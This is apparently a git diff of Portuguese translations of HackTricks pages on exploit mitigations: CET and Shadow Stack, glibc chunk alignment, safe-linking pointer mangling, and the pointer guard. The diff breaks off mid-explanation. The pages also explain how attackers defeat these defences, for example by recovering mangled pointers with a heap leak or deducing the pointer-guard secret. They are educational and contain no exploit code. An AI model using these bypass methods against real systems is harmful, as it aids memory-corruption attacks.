||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,51 +1,51 @@
|
||||||
# CET & Shadow Stack
|
# CET & Shadow Stack
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking na AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Tecnologia de Execução de Fluxo de Controle (CET)
|
## Control Flow Enforcement Technology (CET)
|
||||||
|
|
||||||
**CET** é um recurso de segurança implementado em nível de hardware, projetado para frustrar ataques comuns de sequestro de fluxo de controle, como **Programação Orientada a Retorno (ROP)** e **Programação Orientada a Salto (JOP)**. Esses tipos de ataques manipulam o fluxo de execução de um programa para executar código malicioso ou encadear pedaços de código benigno de forma a realizar uma ação maliciosa.
|
**CET** é um recurso de segurança implementado no nível de hardware, projetado para frustrar ataques comuns de sequestro de fluxo de controle, como **Return-Oriented Programming (ROP)** e **Jump-Oriented Programming (JOP)**. Esses tipos de ataques manipulam o fluxo de execução de um programa para executar código malicioso ou para encadear pedaços de código benigno de uma maneira que realiza uma ação maliciosa.
|
||||||
|
|
||||||
CET introduz duas características principais: **Rastreamento de Ramificação Indireta (IBT)** e **Shadow Stack**.
|
CET introduz duas características principais: **Indirect Branch Tracking (IBT)** e **Shadow Stack**.
|
||||||
|
|
||||||
* **IBT** garante que saltos e chamadas indiretas sejam feitos para destinos válidos, que são marcados explicitamente como destinos legais para ramificações indiretas. Isso é alcançado por meio de um novo conjunto de instruções que marca os destinos válidos, impedindo assim que os atacantes desviem o fluxo de controle para locais arbitrários.
|
* **IBT** garante que saltos e chamadas indiretas sejam feitos para alvos válidos, que são marcados explicitamente como destinos legais para ramificações indiretas. Isso é alcançado por meio do uso de um novo conjunto de instruções que marca alvos válidos, impedindo assim que atacantes desviem o fluxo de controle para locais arbitrários.
|
||||||
* **Shadow Stack** é um mecanismo que fornece integridade para endereços de retorno. Ele mantém uma cópia segura e oculta dos endereços de retorno separada da pilha de chamadas regular. Quando uma função retorna, o endereço de retorno é validado em relação ao shadow stack, impedindo que os atacantes sobrescrevam os endereços de retorno na pilha para sequestrar o fluxo de controle.
|
* **Shadow Stack** é um mecanismo que fornece integridade para endereços de retorno. Ele mantém uma cópia segura e oculta dos endereços de retorno separada da pilha de chamadas regular. Quando uma função retorna, o endereço de retorno é validado em relação à pilha sombra, impedindo que atacantes sobrescrevam endereços de retorno na pilha para sequestrar o fluxo de controle.
|
||||||
|
|
||||||
## Shadow Stack
|
## Shadow Stack
|
||||||
|
|
||||||
O **shadow stack** é uma **pilha dedicada usada exclusivamente para armazenar endereços de retorno**. Ele funciona ao lado da pilha regular, mas é protegido e oculto da execução normal do programa, tornando difícil para os atacantes interferir. O principal objetivo do shadow stack é garantir que quaisquer modificações nos endereços de retorno na pilha convencional sejam detectadas antes que possam ser usadas, mitigando efetivamente os ataques ROP.
|
A **shadow stack** é uma **pilha dedicada usada exclusivamente para armazenar endereços de retorno**. Ela funciona ao lado da pilha regular, mas é protegida e oculta da execução normal do programa, tornando difícil para os atacantes interferirem. O objetivo principal da shadow stack é garantir que quaisquer modificações aos endereços de retorno na pilha convencional sejam detectadas antes que possam ser usadas, mitigando efetivamente os ataques ROP.
|
||||||
|
|
||||||
## Como CET e Shadow Stack Previnem Ataques
|
## Como CET e Shadow Stack Previnem Ataques
|
||||||
|
|
||||||
Os ataques **ROP e JOP** dependem da capacidade de sequestrar o fluxo de controle de um aplicativo aproveitando vulnerabilidades que permitem sobrescrever ponteiros ou endereços de retorno na pilha. Ao direcionar o fluxo para sequências de gadgets de código existentes ou gadgets de programação orientada a retorno, os atacantes podem executar código arbitrário.
|
Os **ataques ROP e JOP** dependem da capacidade de sequestrar o fluxo de controle de uma aplicação aproveitando vulnerabilidades que permitem sobrescrever ponteiros ou endereços de retorno na pilha. Ao direcionar o fluxo para sequências de gadgets de código existentes ou gadgets orientados a retorno, os atacantes podem executar código arbitrário.
|
||||||
|
|
||||||
* A característica **IBT do CET** torna esses ataques significativamente mais difíceis, garantindo que as ramificações indiretas possam saltar apenas para endereços que foram explicitamente marcados como destinos válidos. Isso torna impossível para os atacantes executar gadgets arbitrários espalhados pelo binário.
|
* O recurso **IBT** do CET torna esses ataques significativamente mais difíceis, garantindo que ramificações indiretas só possam saltar para endereços que foram explicitamente marcados como alvos válidos. Isso torna impossível para os atacantes executarem gadgets arbitrários espalhados pelo binário.
|
||||||
* O **shadow stack**, por outro lado, garante que mesmo que um atacante consiga sobrescrever um endereço de retorno na pilha normal, a **discrepância será detectada** ao comparar o endereço corrompido com a cópia segura armazenada no shadow stack ao retornar de uma função. Se os endereços não corresponderem, o programa pode ser encerrado ou adotar outras medidas de segurança, impedindo que o ataque tenha sucesso.
|
* A **shadow stack**, por outro lado, garante que mesmo que um atacante consiga sobrescrever um endereço de retorno na pilha normal, a **discrepância será detectada** ao comparar o endereço corrompido com a cópia segura armazenada na shadow stack ao retornar de uma função. Se os endereços não coincidirem, o programa pode ser encerrado ou tomar outras medidas de segurança, impedindo que o ataque tenha sucesso.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking na AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Proteções do Libc
|
# Proteções Libc
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -6,90 +6,106 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Aplicação de Alinhamento de Chunks
|
## Aplicação de Alinhamento de Chunk
|
||||||
|
|
||||||
**Malloc** aloca memória em **grupos de 8 bytes (32 bits) ou 16 bytes (64 bits)**. Isso significa que o final dos chunks em sistemas de 32 bits deve se alinhar com **0x8**, e em sistemas de 64 bits com **0x0**. A funcionalidade de segurança verifica se cada chunk **se alinha corretamente** nessas localizações específicas antes de usar um ponteiro de um bin.
|
**Malloc** aloca memória em **agrupamentos de 8 bytes (32 bits) ou 16 bytes (64 bits)**. Isso significa que o final dos chunks em sistemas de 32 bits deve alinhar com **0x8**, e em sistemas de 64 bits com **0x0**. O recurso de segurança verifica se cada chunk **alinha corretamente** nesses locais específicos antes de usar um ponteiro de um bin.
|
||||||
|
|
||||||
### Benefícios de Segurança
|
### Benefícios de Segurança
|
||||||
|
|
||||||
A aplicação do alinhamento de chunks em sistemas de 64 bits melhora significativamente a segurança do Malloc ao **limitar a colocação de chunks falsos para apenas 1 a cada 16 endereços**. Isso complica os esforços de exploração, especialmente em cenários onde o usuário tem controle limitado sobre os valores de entrada, tornando os ataques mais complexos e difíceis de executar com sucesso.
|
A aplicação de alinhamento de chunk em sistemas de 64 bits melhora significativamente a segurança do Malloc ao **limitar a colocação de chunks falsos a apenas 1 em cada 16 endereços**. Isso complica os esforços de exploração, especialmente em cenários onde o usuário tem controle limitado sobre os valores de entrada, tornando os ataques mais complexos e difíceis de executar com sucesso.
|
||||||
|
|
||||||
* **Ataque Fastbin no \_\_malloc\_hook**
|
* **Ataque Fastbin em \_\_malloc\_hook**
|
||||||
|
|
||||||
As novas regras de alinhamento no Malloc também impedem um ataque clássico envolvendo o `__malloc_hook`. Anteriormente, os atacantes podiam manipular tamanhos de chunk para **sobrescrever este ponteiro de função** e obter **execução de código**. Agora, o requisito estrito de alinhamento garante que tais manipulações não sejam mais viáveis, fechando uma rota comum de exploração e melhorando a segurança geral.
|
As novas regras de alinhamento no Malloc também frustram um ataque clássico envolvendo o `__malloc_hook`. Anteriormente, os atacantes podiam manipular tamanhos de chunks para **sobrescrever este ponteiro de função** e ganhar **execução de código**. Agora, a exigência de alinhamento rigoroso garante que tais manipulações não sejam mais viáveis, fechando uma rota comum de exploração e melhorando a segurança geral.
|
||||||
|
|
||||||
## Ofuscação de Ponteiros em fastbins e tcache
|
## Mistura de Ponteiros em fastbins e tcache
|
||||||
|
|
||||||
**Ofuscação de Ponteiros** é um aprimoramento de segurança usado para proteger **ponteiros Fd de fastbin e tcache** em operações de gerenciamento de memória. Essa técnica ajuda a prevenir certos tipos de táticas de exploração de memória, especificamente aquelas que não requerem informações de memória vazadas ou que manipulam diretamente locais de memória relativos a posições conhecidas (sobrescritas **relativas**).
|
**Mistura de Ponteiros** é uma melhoria de segurança usada para proteger **ponteiros Fd de fastbin e tcache** em operações de gerenciamento de memória. Esta técnica ajuda a prevenir certos tipos de táticas de exploração de memória, especificamente aquelas que não requerem informações de memória vazadas ou que manipulam locais de memória diretamente em relação a posições conhecidas (sobrescritas **relativas**).
|
||||||
|
|
||||||
O cerne dessa técnica é uma fórmula de ofuscação:
|
O núcleo desta técnica é uma fórmula de ofuscação:
|
||||||
|
|
||||||
**`Novo_Ptr = (L >> 12) XOR P`**
|
**`New_Ptr = (L >> 12) XOR P`**
|
||||||
|
|
||||||
* **L** é a **Localização de Armazenamento** do ponteiro.
|
* **L** é a **Localização de Armazenamento** do ponteiro.
|
||||||
* **P** é o **Ponteiro Fd de fastbin/tcache** real.
|
* **P** é o **Ponteiro Fd de fastbin/tcache**.
|
||||||
|
|
||||||
A razão para o deslocamento de bits da localização de armazenamento (L) por 12 bits para a direita antes da operação XOR é crítica. Essa manipulação aborda uma vulnerabilidade inerente à natureza determinística dos 12 bits menos significativos dos endereços de memória, que são tipicamente previsíveis devido às restrições da arquitetura do sistema. Ao deslocar os bits, a parte previsível é removida da equação, aumentando a aleatoriedade do novo ponteiro ofuscado e, assim, protegendo contra explorações que dependem da previsibilidade desses bits.
|
A razão para o deslocamento bit a bit da localização de armazenamento (L) por 12 bits para a direita antes da operação XOR é crítica. Essa manipulação aborda uma vulnerabilidade inerente à natureza determinística dos 12 bits menos significativos dos endereços de memória, que são tipicamente previsíveis devido a restrições da arquitetura do sistema. Ao deslocar os bits, a parte previsível é removida da equação, aumentando a aleatoriedade do novo ponteiro misturado e, assim, protegendo contra explorações que dependem da previsibilidade desses bits.
|
||||||
|
|
||||||
Este ponteiro ofuscado aproveita a aleatoriedade existente fornecida pela **Randomização do Layout do Espaço de Endereços (ASLR)**, que randomiza os endereços usados pelos programas para dificultar que os atacantes prevejam o layout de memória de um processo.
|
Esse ponteiro misturado aproveita a aleatoriedade existente fornecida pela **Randomização de Layout de Espaço de Endereços (ASLR)**, que randomiza endereços usados por programas para dificultar a previsão do layout de memória de um processo pelos atacantes.
|
||||||
|
|
||||||
**Desofuscar** o ponteiro para recuperar o endereço original envolve o uso da mesma operação XOR. Aqui, o ponteiro ofuscado é tratado como P na fórmula e, quando XORado com a localização de armazenamento inalterada (L), revela o ponteiro original. Essa simetria na ofuscação e desofuscação garante que o sistema possa codificar e decodificar eficientemente ponteiros sem sobrecarga significativa, ao mesmo tempo em que aumenta substancialmente a segurança contra ataques que manipulam ponteiros de memória.
|
**Desmistificar** o ponteiro para recuperar o endereço original envolve usar a mesma operação XOR. Aqui, o ponteiro misturado é tratado como P na fórmula, e quando XORado com a localização de armazenamento inalterada (L), resulta na revelação do ponteiro original. Essa simetria na mistura e desmistificação garante que o sistema possa codificar e decodificar ponteiros de forma eficiente, sem sobrecarga significativa, enquanto aumenta substancialmente a segurança contra ataques que manipulam ponteiros de memória.
|
||||||
|
|
||||||
### Benefícios de Segurança
|
### Benefícios de Segurança
|
||||||
|
|
||||||
A ofuscação de ponteiros visa **prevenir sobrescritas parciais e completas de ponteiros em heap**, um aprimoramento significativo em segurança. Essa funcionalidade impacta as técnicas de exploração de várias maneiras:
|
A mistura de ponteiros visa **prevenir sobrescritas parciais e totais de ponteiros na heap**, uma melhoria significativa em segurança. Este recurso impacta técnicas de exploração de várias maneiras:
|
||||||
|
|
||||||
1. **Prevenção de Sobrescritas Relativas de Bye Byte**: Anteriormente, os atacantes podiam alterar parte de um ponteiro para **redirecionar chunks de heap para diferentes locais sem conhecer endereços exatos**, uma técnica evidente no exploit **House of Roman** sem vazamento. Com a ofuscação de ponteiros, tais sobrescritas relativas **sem um vazamento de heap agora exigem força bruta**, reduzindo drasticamente a probabilidade de sucesso.
|
1. **Prevenção de Sobrescritas Relativas por Byte**: Anteriormente, os atacantes podiam alterar parte de um ponteiro para **redirecionar chunks da heap para diferentes locais sem conhecer endereços exatos**, uma técnica evidente na exploração **House of Roman** sem vazamento. Com a mistura de ponteiros, tais sobrescritas relativas **sem um vazamento da heap agora requerem força bruta**, reduzindo drasticamente a probabilidade de sucesso.
|
||||||
2. **Aumento da Dificuldade de Ataques a Tcache Bin/Fastbin**: Ataques comuns que sobrescrevem ponteiros de função (como `__malloc_hook`) manipulando entradas de fastbin ou tcache são prejudicados. Por exemplo, um ataque pode envolver vazar um endereço LibC, liberar um chunk no tcache bin e, em seguida, sobrescrever o ponteiro Fd para redirecioná-lo para `__malloc_hook` para execução de código arbitrário. Com a ofuscação de ponteiros, esses ponteiros devem ser corretamente ofuscados, **exigindo um vazamento de heap para manipulação precisa**, elevando assim a barreira de exploração.
|
2. **Aumento da Dificuldade de Ataques em Tcache Bin/Fastbin**: Ataques comuns que sobrescrevem ponteiros de função (como `__malloc_hook`) manipulando entradas de fastbin ou tcache são dificultados. Por exemplo, um ataque pode envolver vazar um endereço da LibC, liberar um chunk no bin tcache e, em seguida, sobrescrever o ponteiro Fd para redirecioná-lo para `__malloc_hook` para execução de código arbitrário. Com a mistura de ponteiros, esses ponteiros devem ser corretamente misturados, **necessitando de um vazamento da heap para manipulação precisa**, elevando assim a barreira de exploração.
|
||||||
3. **Necessidade de Vazamentos de Heap em Locais Não-Heap**: Criar um chunk falso em áreas não-heap (como a pilha, seção .bss ou PLT/GOT) agora também **requer um vazamento de heap** devido à necessidade de ofuscação de ponteiros. Isso estende a complexidade de explorar essas áreas, semelhante à necessidade de manipular endereços LibC.
|
3. **Requisito de Vazamentos da Heap em Locais Não-Heap**: Criar um chunk falso em áreas não-heap (como a pilha, seção .bss ou PLT/GOT) agora também **requer um vazamento da heap** devido à necessidade de mistura de ponteiros. Isso estende a complexidade de explorar essas áreas, semelhante ao requisito de manipular endereços da LibC.
|
||||||
4. **Vazar Endereços de Heap se Torna Mais Desafiador**: A ofuscação de ponteiros restringe a utilidade de ponteiros Fd em fastbin e tcache bins como fontes de vazamento de endereços de heap. No entanto, ponteiros em bins não ordenados, pequenos e grandes permanecem não ofuscados, ainda podendo ser usados para vazar endereços. Essa mudança leva os atacantes a explorar esses bins em busca de informações exploráveis, embora algumas técnicas ainda possam permitir desofuscar ponteiros antes de um vazamento, embora com restrições.
|
4. **Vazar Endereços da Heap Torna-se Mais Desafiador**: A mistura de ponteiros restringe a utilidade dos ponteiros Fd em fastbin e tcache como fontes para vazamentos de endereços da heap. No entanto, ponteiros em bins não ordenados, pequenos e grandes permanecem não misturados, portanto ainda utilizáveis para vazar endereços. Essa mudança empurra os atacantes a explorar esses bins em busca de informações exploráveis, embora algumas técnicas ainda possam permitir a desmistificação de ponteiros antes de um vazamento, embora com restrições.
|
||||||
|
|
||||||
### **Desofuscar Ponteiros com um Vazamento de Heap**
|
### **Desmistificando Ponteiros com um Vazamento da Heap**
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Para uma melhor explicação do processo [**verifique a postagem original aqui**](https://maxwelldulin.com/BlogPost?post=5445977088).
|
Para uma melhor explicação do processo [**verifique o post original aqui**](https://maxwelldulin.com/BlogPost?post=5445977088).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Visão Geral do Algoritmo
|
### Visão Geral do Algoritmo
|
||||||
|
|
||||||
A fórmula usada para ofuscar e desofuscar ponteiros é: 
|
A fórmula usada para misturar e desmistificar ponteiros é: 
|
||||||
|
|
||||||
**`Novo_Ptr = (L >> 12) XOR P`**
|
**`New_Ptr = (L >> 12) XOR P`**
|
||||||
|
|
||||||
Onde **L** é a localização de armazenamento e **P** é o ponteiro Fd. Quando **L** é deslocado para a direita por 12 bits, ele expõe os bits mais significativos de **P**, devido à natureza do **XOR**, que produz 0 quando os bits são XORados consigo mesmos.
|
Onde **L** é a localização de armazenamento e **P** é o ponteiro Fd. Quando **L** é deslocado para a direita por 12 bits, expõe os bits mais significativos de **P**, devido à natureza do **XOR**, que produz 0 quando os bits são XORados consigo mesmos.
|
||||||
|
|
||||||
**Passos Chave no Algoritmo:**
|
**Passos Chave no Algoritmo:**
|
||||||
|
|
||||||
1. **Vazamento Inicial dos Bits Mais Significativos**: Ao XORar o **L** deslocado com **P**, você obtém efetivamente os 12 bits superiores de **P** porque a parte deslocada de **L** será zero, deixando os bits correspondentes de **P** inalterados.
|
1. **Vazamento Inicial dos Bits Mais Significativos**: Ao XORar o **L** deslocado com **P**, você efetivamente obtém os 12 bits superiores de **P** porque a parte deslocada de **L** será zero, deixando os bits correspondentes de **P** inalterados.
|
||||||
2. **Recuperação dos Bits do Ponteiro**: Como o XOR é reversível, conhecer o resultado e um dos operandos permite calcular o outro operando. Essa propriedade é usada para deduzir o conjunto completo de bits para **P** sucessivamente XORando conjuntos conhecidos de bits com partes do ponteiro ofuscado.
|
2. **Recuperação dos Bits do Ponteiro**: Como o XOR é reversível, conhecer o resultado e um dos operandos permite que você calcule o outro operando. Essa propriedade é usada para deduzir todo o conjunto de bits para **P** ao XORar sucessivamente conjuntos conhecidos de bits com partes do ponteiro misturado.
|
||||||
3. **Desofuscação Iterativa**: O processo é repetido, cada vez usando os bits de **P** recém-descobertos da etapa anterior para decodificar o próximo segmento do ponteiro ofuscado, até que todos os bits sejam recuperados.
|
3. **Desmistificação Iterativa**: O processo é repetido, cada vez usando os novos bits descobertos de **P** do passo anterior para decodificar o próximo segmento do ponteiro misturado, até que todos os bits sejam recuperados.
|
||||||
4. **Manuseio de Bits Determinísticos**: Os últimos 12 bits de **L** são perdidos devido ao deslocamento, mas são determinísticos e podem ser reconstruídos pós-processo.
|
4. **Tratamento de Bits Determinísticos**: Os últimos 12 bits de **L** são perdidos devido ao deslocamento, mas são determinísticos e podem ser reconstruídos após o processo.
|
||||||
|
|
||||||
Você pode encontrar uma implementação desse algoritmo aqui: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
|
Você pode encontrar uma implementação deste algoritmo aqui: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
|
||||||
## Proteção de Ponteiro
|
|
||||||
|
|
||||||
O ponteiro guard é uma técnica de mitigação de exploração usada no glibc para proteger ponteiros de função armazenados, especialmente aqueles registrados por chamadas de biblioteca como `atexit()`. Essa proteção envolve embaralhar os ponteiros através de XOR com um segredo armazenado nos dados da thread (`fs:0x30`) e aplicando uma rotação bitwise. Esse mecanismo tem como objetivo evitar que atacantes assumam o controle do fluxo de execução sobrescrevendo ponteiros de função.
|
## Guarda de Ponteiro
|
||||||
|
|
||||||
### **Burlando o Ponteiro Guard com um vazamento**
|
A guarda de ponteiro é uma técnica de mitigação de exploração usada no glibc para proteger ponteiros de função armazenados, particularmente aqueles registrados por chamadas de biblioteca como `atexit()`. Essa proteção envolve embaralhar os ponteiros XORando-os com um segredo armazenado nos dados da thread (`fs:0x30`) e aplicando uma rotação bit a bit. Esse mecanismo visa impedir que atacantes sequestram o fluxo de controle sobrescrevendo ponteiros de função.
|
||||||
|
|
||||||
1. **Compreendendo as Operações do Ponteiro Guard:** O embaralhamento (mangling) dos ponteiros é feito usando a macro `PTR_MANGLE`, que faz XOR do ponteiro com um segredo de 64 bits e então realiza uma rotação à esquerda de 0x11 bits. A operação reversa para recuperar o ponteiro original é tratada por `PTR_DEMANGLE`.
|
### **Contornando a Guarda de Ponteiro com um vazamento**
|
||||||
2. **Estratégia de Ataque:** O ataque é baseado em uma abordagem de texto conhecido, onde o atacante precisa conhecer tanto a versão original quanto a versão embaralhada de um ponteiro para deduzir o segredo usado para o embaralhamento.
|
|
||||||
|
1. **Entendendo as Operações da Guarda de Ponteiro:** O embaralhamento (mistura) de ponteiros é feito usando o macro `PTR_MANGLE`, que XORa o ponteiro com um segredo de 64 bits e, em seguida, realiza uma rotação à esquerda de 0x11 bits. A operação reversa para recuperar o ponteiro original é tratada por `PTR_DEMANGLE`.
|
||||||
|
2. **Estratégia de Ataque:** O ataque é baseado em uma abordagem de texto conhecido, onde o atacante precisa conhecer tanto a versão original quanto a misturada de um ponteiro para deduzir o segredo usado para a mistura.
|
||||||
3. **Explorando Textos Conhecidos:**
|
3. **Explorando Textos Conhecidos:**
|
||||||
* **Identificando Ponteiros de Função Fixos:** Ao examinar o código-fonte do glibc ou tabelas de ponteiros de função inicializados (como `__libc_pthread_functions`), um atacante pode encontrar ponteiros de função previsíveis.
|
* **Identificando Ponteiros de Função Fixos:** Ao examinar o código-fonte do glibc ou tabelas de ponteiros de função inicializadas (como `__libc_pthread_functions`), um atacante pode encontrar ponteiros de função previsíveis.
|
||||||
* **Calculando o Segredo:** Usando um ponteiro de função conhecido, como `__pthread_attr_destroy`, e sua versão embaralhada da tabela de ponteiros de função, o segredo pode ser calculado revertendo a rotação (rotação à direita) do ponteiro embaralhado e então fazendo XOR com o endereço da função.
|
